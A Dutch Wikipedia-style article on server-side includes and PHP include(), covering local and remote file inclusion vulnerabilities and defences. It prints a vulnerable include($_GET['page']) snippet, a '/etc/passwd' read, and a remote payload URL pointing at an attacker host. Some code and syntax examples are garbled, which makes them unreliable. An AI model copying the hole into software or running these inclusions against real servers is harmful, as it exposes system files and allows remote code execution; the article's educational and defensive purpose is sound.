Server Side Includes

Uit Wikipedia, de vrije encyclopedie

Ga naar: navigatie, zoeken

Inhoud

[bewerk] Wat is Server Side Includes

Server Side Includes (afkorting: SSI) is een techniek, die beschikbaar is in diverse server-gebaseerde programmeertalen, zoals ASP en PHP, om de webserver een bestand te laten samenvoegen met een ander bestand.

Dit wordt bijvoorbeeld gebruikt om een webpagina met daarin een menu op eenvoudige manier op te nemen in de pagina's van een website.

Server Side Includes (afkorting: SSI) is bedoeld om informatie dynamisch op te nemen in een website en is een techniek die beschikbaar is in diverse server-gebaseerde programmeertalen, zoals ASP en PHP. De informatie die 'geinclud' wordt kan heel verschillend zijn, zoals: tijd/datum, een header, een footer, een menu of simpelweg een andere pagina.

SSI maakt het makkelijker om een website te updaten, omdat gedeelten die op verschillende pagina’s terug komen in een extern bestand opgeslagen kunnen worden. Dit kan bijvoorbeeld een menu zijn en moet voor iedere pagina hetzelfde zijn. Als er nu iets veranderd moet worden in het menu hoef je alleen het externe bestand te wijzigen. De wijzigingen kunnen vervolgens op elke pagina van je website bekeken worden. Als je geen gebruik maakt van SSI dan moet je op elke pagina van je website het menu gaan aanpassen en dat is een tijdrovende bezigheid. SSI kan je dus een hoop tijd besparen.

SSI komt in vele vormen voor, elke respectabele (web)programmeertaal kent wel een manier om de hierboven beschreven routine te implementeren. Enkele voorbeelden hiervan zijn;

(Programmeer)taal Code
Perl
#include <filename.pl>
Java
include filename.make
Java Server Pages
<jsp:include page="filename.jsp" flush="true" />
ASP (.NET)
<!--#include file="filename.aspx"-->
XML
<!ATTLIST xi:fallback xmlns:xi   CDATA   #FIXED “filename”>
CGI
<!--#include file="filename"-->
PHP
Include(“filenaam.php”);

Daarnaast is het met behulp van Apache mogelijk om SSI in vrijwel elk uit te voeren bestand aan te zetten[1] met behulp van de regel

<!--#include file="filename"-->

[bewerk] SSI en PHP

Sinds PHP 3 is het mogelijk om in PHP door middel van de functies

include()

en

require()

bestanden uit te voeren. De exacte syntax van deze functies zijn;

bool include( string filename)
bool require( string filename)

Het verschil tussen deze twee functies is dat, wanneer het opgegeven bestand niet uitgevoerd kan worden, er alleen een warning wordt gegeven, daarna wordt de rest van de pagina (waarin het include statement was opgenomen) alsnog uitgevoerd. Bij de require functie is dit niet het geval, deze retourneert namelijk een “fatal error” waardoor de uitvoer van verdere (PHP) code wordt gestopt.

Sinds PHP versie 4.0.1pl2 (27-maart-2000)[2] zijn de functies

include_once()

en

require_once()

toegevoegd aan de PHP functionaliteit. Deze functies zijn vrijwel gelijk aan hun voorgangers, het enige verschil is dat met behulp van deze functies eerder uitgevoerde bestanden niet opnieuw worden uitgevoerd.

[bewerk] Het gevaar

De hierboven genoemde functies kunnen ieder bestand uitvoeren. Dat wil zeggen, er zal getracht worden om het bestand uit te voeren in PHP code. Mocht er in het bestand echter geen PHP code Block (<? … ?>) gedefinieerd zijn, dan zal PHP de “rauwe” inhoud van het bestand doorgeven aan de browser. Als we bijvoorbeeld een tekst bestand met de inhoud “dit is tekst” door gebruik van de include() functie[3] aanroepen dan zal de output in de browser “dit is tekst” zijn.

Dit kan gevaarlijk zijn wanneer gebruik wordt gemaakt van het script zoals hieronder wordt weergegeven;

if(isset($_GET['page'])){
  include($_GET['page']);
}
else{
  header("Location: "$_SERVER['PHP_SELF']."?page=home");
}

Dit script gaat er van uit dat de pagina (in dit geval “index.php”) wordt aangeroepen met als parameter “?page=paginanaam.php”. Vervolgens wordt dit bestand uitgevoerd door middel van de include() functie. Mocht de parameter page niet worden meegegeven dan wordt standaard de pagina news.php opgenomen.

In principe is deze code niet gevaarlijk, de gebruiker klikt op een link ( b.v. “index.php?page=login.php” ) en de bijbehorende pagina wordt uitgevoerd. Maar wat als de gebruiker zelf met de parameter gaat spelen? In het gunstigste geval, bij een goed geconfigureerde webserver kunnen alleen de bestanden waar de gebruiker, waaronder Apache draait, rechten op heeft worden uitgevoerd. Mocht de webserver echter met de standaard instellingen, of onjuist geïnstalleerd zijn dan kan het zo zijn dat elk willekeurig bestand kan worden opgegeven. Wanneer het bovenstaande script wordt aangeroepen met de parameter “?page=/etc/passwd” zal de inhoud van dit bestand tonen in de browser.

[bewerk] Remote execution

Tot PHP versie 4.3.0 (27-december-2002) was dit eigenlijk het enige gevaar, er konden bestanden worden uitgevoerd die aanwezig op de webserver waarop de include() functie werd uitgevoerd, het is met deze functies niet mogelijk om bestanden buiten de webserver waarop de code werd uitgevoerd te gebruiken. Vanaf versie 4.3.0 is het echter wel mogelijk om bestanden van buitenaf te gebruiken voor de invoer van deze functie, iets wat de meeste webdevelopers echter niet weten, of inmiddels alweer vergeten zijn.

Met de mogelijkheid om remote bestanden uit te voeren op de lokale webserver is ook het grootste gevaar van de functie ontstaan. Er vanuit gaande dat het script dat eerder is gebruikt is het hiermee mogelijk om een remote bestand uit te voeren. Stel we maken een bestand dat het zelfde doet als in het vorige voorbeeld; het uitlezen van het passwd bestand.

print '<pre>';
system('cat /etc/passwd');
print '</pre>';

Stel dat de pagina die we aan willen vallen (de “index.php”) is geplaatst op de host www.example.com en we plaatsen “remote.php” op de host www.hack.com en roepen vervolgens het script op de volgende manier aan;

http://www.example.com/index.php?page=http://www.hack.com/remote.php

Hierdoor wordt het bestand “remote.php” uitgevoerd op de server van example.com en wordt het passwd bestand van deze server getoond.

Let wel op, er zit een (groot) nadeel aan het gebruik van include(); met remote php files. Indien een bestand eindigt met de extensie .php wordt de inhoud van dit bestand direct door PHP uitgevoerd, waarna de connectie met het bestand wordt verbroken. Dit houdt onder anderen in dat functies en classes niet werken. Een oplossing hiervoor is om de bestanden een andere extensie (bijvoorbeeld .txt) te geven, waardoor de file wel in zijn geheel geinclude wordt en uitvoerbaar blijft.

[bewerk] De toekomst

PHP 4 gebruikers die zich ervan bewust zijn dat de include() functie te misbruiken is hebben verschillende manieren gevonden om hun scripts er te beveiligen. Sommige van deze methoden behandelen we in de paragraaf “Bescherming”.

if(file_exists($_GET['page'])){
  include($_GET['page']);
}

Een van de tot voor kort meest favoriete manier om remote php includes te beveiligen is door middel van de functie “file_exists()” aan te roepen voor de daadwerkelijke include (zie ook afbeelding Figuur 3 “file_exists”) . Tot PHP 5 was dit geen probleem, de functie file_exists kon namelijk geen remote bestanden aan, het script dat we hier gebruiken werkte dus naar behoren. Echter vanaf PHP versie 5[4] kan ook deze functie werken met remote bestanden, hetgeen ons script wederom onveilig maakt.

[bewerk] Bescherming

[bewerk] Configureren van de webserver

Er zijn een aantal mogelijkheden om een webserver minder kwetsbaar te maken voor Server Side Includes. Vooral het beperken van de rechten van een webserver zijn effectief om minder kwetsbaar te zijn. Met Linux is het mogelijk om een webserver met een systeemgebruiker te laten draaien. Deze systeemgebruiker moet dan alleen rechten hebben die strikt noodzakelijk zijn om de webserver te draaien en de websites beschikbaar te maken[5].
Wanneer de webserver meerdere gebruikers bedient, moeten de websites van de gebruikers strikt gescheiden worden. De website van een gebruiker mag alleen gebruik maken van bestanden uit de gebruiker zijn map.

[bewerk] Configureren van PHP instellingen

PHP is een veel gebruikte manier om een dynamische webpagina te maken. Om de kwetsbaarheid van PHP te verminderen kan een beheerder van de webserver Allow_url_fopen optie in de php.ini uitschakelen. Deze optie geeft aan of externe bestanden dezelfde behandeling krijgen als lokale bestanden. Indien deze optie als “off” wordt ingesteld kunnen externe bestanden niet meer worden gebruikt[6].

[bewerk] Controleren van user input

De belangrijkst maatregel tegen Server Side Includes kan genomen worden door de programmeur. Wat de programeur moet doen is nooit zomaar de input van een gebruiker, een browser of een andere bron te vertrouwen. Een gebruiker kan gemakkelijk de parameters die terug worden gezonden naar de website aanpassen. Een programmeur kan werken met een lijst voor pagina's die uitgevoerd mogen worden. In zo'n lijst zet zijn dan de geaccepteerde parameters met de bijbehorende pagina's.

[bewerk] Referenties

  1. ^ http://httpd.apache.org/docs/1.3/howto/ssi.html
  2. ^ http://nl3.php.net/ChangeLog-4.php
  3. ^ http://nl3.php.net/manual/en/function.include.php
  4. ^ http://nl3.php.net/ChangeLog-5.php
  5. ^ http://httpd.apache.org/docs/2.0/misc/security_tips.html#ssi
  6. ^ http://nl3.php.net/manual/nl/ref.filesystem.php

[bewerk] Zie ook

 
Persoonlijke instellingen